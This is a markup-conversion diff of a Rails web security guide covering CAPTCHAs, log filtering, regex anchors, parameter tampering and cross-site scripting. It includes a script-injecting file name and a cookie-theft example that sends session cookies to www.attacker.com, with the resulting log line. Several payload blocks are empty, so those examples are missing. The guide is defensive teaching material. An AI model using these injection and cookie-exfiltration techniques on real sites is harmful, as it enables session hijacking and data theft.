-- leave the fields displayed, but tell humans to leave them blank
+* position the fields off of the visible area of the page
+* make the elements very small or colour them the same as the background of the page
+* leave the fields displayed, but tell humans to leave them blank
 
 The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.
 
-You can find more sophisticated negative CAPTCHAs in Ned Batchelder's http://nedbatchelder.com/text/stopbots.html[blog post]:
+You can find more sophisticated negative CAPTCHAs in Ned Batchelder's "blog post":http://nedbatchelder.com/text/stopbots.html:
 
-- Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
-- Randomize the field names
-- Include more than one honeypot field of all types, including submission buttons
+* Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
+* Randomize the field names
+* Include more than one honeypot field of all types, including submission buttons
 
-Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So negative CAPTCHAs might not be good to protect login forms.
+Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So _(highlight)negative CAPTCHAs might not be good to protect login forms_.
 
-=== Logging
+h4. Logging
 
 -- _Tell Rails not to put passwords in the log files._
 
-By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers etcetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can [,#fffcdb]#filter certain request parameters from your log files# by the filter_parameter_logging method in a controller. These parameters will be marked [FILTERED] in the log.
+By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can _(highlight)filter certain request parameters from your log files_ by the filter_parameter_logging method in a controller. These parameters will be marked [FILTERED] in the log.
 
-[source, ruby]
-----------------------------------------------------------------------------
+
 filter_parameter_logging :password
-----------------------------------------------------------------------------
+
 
-=== Good passwords
+h4. Good passwords
 
 -- _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._
 
-Bruce Schneier, a security technologist, http://www.schneier.com/blog/archives/2006/12/realworld_passw.html[has analysed] 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
+Bruce Schneier, a security technologist, "has analysed":http://www.schneier.com/blog/archives/2006/12/realworld_passw.html 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
 
-password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1 and monkey.
+password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1, and monkey.
 
 It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.
 
-A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the [,#fffcdb]#first letters of a sentence that you can easily remember#. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.
+A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the _(highlight)first letters of a sentence that you can easily remember_. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.
 
-=== Regular expressions
+h4. Regular expressions
 
 -- _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._
 
 Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this:
 
-[source, ruby]
-----------------------------------------------------------------------------
+
 class File < ActiveRecord::Base
   validates_format_of :name, :with => /^[\w\.\-\+]+$/
 end
-----------------------------------------------------------------------------
+
 
-This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added \^ and $ so that file name will contain these characters from the beginning to the end of the string. However, [,#fffcdb]#in Ruby ^ and $ matches the *line* beginning and line end#. And thus a file name like this passes the filter without problems:
+This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added \^ and $ so that file name will contain these characters from the beginning to the end of the string. However, _(highlight)in Ruby ^ and $ matches the *line* beginning and line end_. And thus a file name like this passes the filter without problems:
 
-..........
+
 file.txt%0A
-..........
+

 
-Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:
+Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n<script>alert('hello')</script>". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:
 
-[source, ruby]
-----------------------------------------------------------------------------
+
 /\A[\w\.\-\+]+\z/
-[source, ruby]
-----------------------------------------------------------------------------
+
 
-=== Privilege escalation
+h4. Privilege escalation
 
 -- _Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it._
 
-The most common parameter that a user might tamper with, is the id parameter, as in +http://www.domain.com/project/1+, whereas 1 is the id. It will be available in params[:id] in the controller. There, you will most likely do something like this:
+The most common parameter that a user might tamper with, is the id parameter, as in +":id":http://www.domain.com/project/1+, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this:
 
-[source, ruby]
-----------------------------------------------------------------------------
+
 @project = Project.find(params[:id])
-----------------------------------------------------------------------------
+
 
-This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, [,#fffcdb]#query the user's access rights, too#:
+This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _(highlight)query the user's access rights, too_:
 
-[source, ruby]
-----------------------------------------------------------------------------
+
 @project = @current_user.projects.find(params[:id])
-----------------------------------------------------------------------------
+
 
-Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, [,#fffcdb]#no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated#.
+Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, _(highlight)no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated_.
 
-Don‘t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. [,#fffcdb]#JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values#. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.
+Don‘t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. _(highlight)JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.
 
-== Injection
+h3. Injection
 
 -- _Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection._
 
 Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query or programming language, the shell or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection.
 
-=== Whitelists versus Blacklists
+h4. Whitelists versus Blacklists
 
 -- _When sanitizing, protecting or verifying something, whitelists over blacklists._
 
-A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), [,#fffcdb]#prefer to use whitelist approaches#:
+A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although, sometimes it is not possible to create a whitelist (in a SPAM filter, for example), _(highlight)prefer to use whitelist approaches_:
 
-- Use before_filter :only => [...] instead of :except => [...]. This way you don't forget to turn it off for newly added actions.
-- Use attr_accessible instead of attr_protected. See the mass-assignment section for details
-- Allow  instead of removing 
-..........
+
 
 This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places:
 
-..........
+
 
 
-..........
+
 
-===== Cookie theft
+h6. Cookie theft
 
 These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page:
 
-..........
+
 
-..........
+

 
 For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victims cookie.
 
-..........
+
 
-..........
+

 
 The log files on www.attacker.com will read like this:
 
-..........
+
 GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2
-..........
+

 
-You can mitigate these attacks (in the obvious way) by adding the http://dev.rubyonrails.org/ticket/8895[httpOnly] flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/[will still be visible using Ajax], though.
+You can mitigate these attacks (in the obvious way) by adding the "httpOnly":http://dev.rubyonrails.org/ticket/8895 flag to cookies, so that document.cookie may not be read by JavaScript. Http only cookies can be used from IE v6.SP1, Firefox v2.0.0.5 and Opera 9.5. Safari is still considering, it ignores the option. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies "will still be visible using Ajax":http://ha.ckers.org/blog/20070719/firefox-implements-httponly-and-is-vulnerable-to-xmlhttprequest/, though.
 
-===== Defacement
+h6. Defacement
 
 With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials or other sensitive data. The most popular way is to include code from external sources by iframes:
 
-..........
+
 
-..........
+

 
-This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iFrame is taken from an http://www.symantec.com/enterprise/security_response/weblog/2007/06/italy_under_attack_mpack_gang.html[actual attack] on legitimate Italian sites using the http://isc.sans.org/diary.html?storyid=3015[Mpack attack framework]. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.
+This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iFrame is taken from an "actual attack":http://www.symantec.com/enterprise/security_response/weblog/2007/06/italy_under_attack_mpack_gang.html on legitimate Italian sites using the "Mpack attack framework":http://isc.sans.org/diary.html?storyid=3015. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed.
 
 A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attackers site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site.
 
 Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...":
 
-..........
+
 http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1-->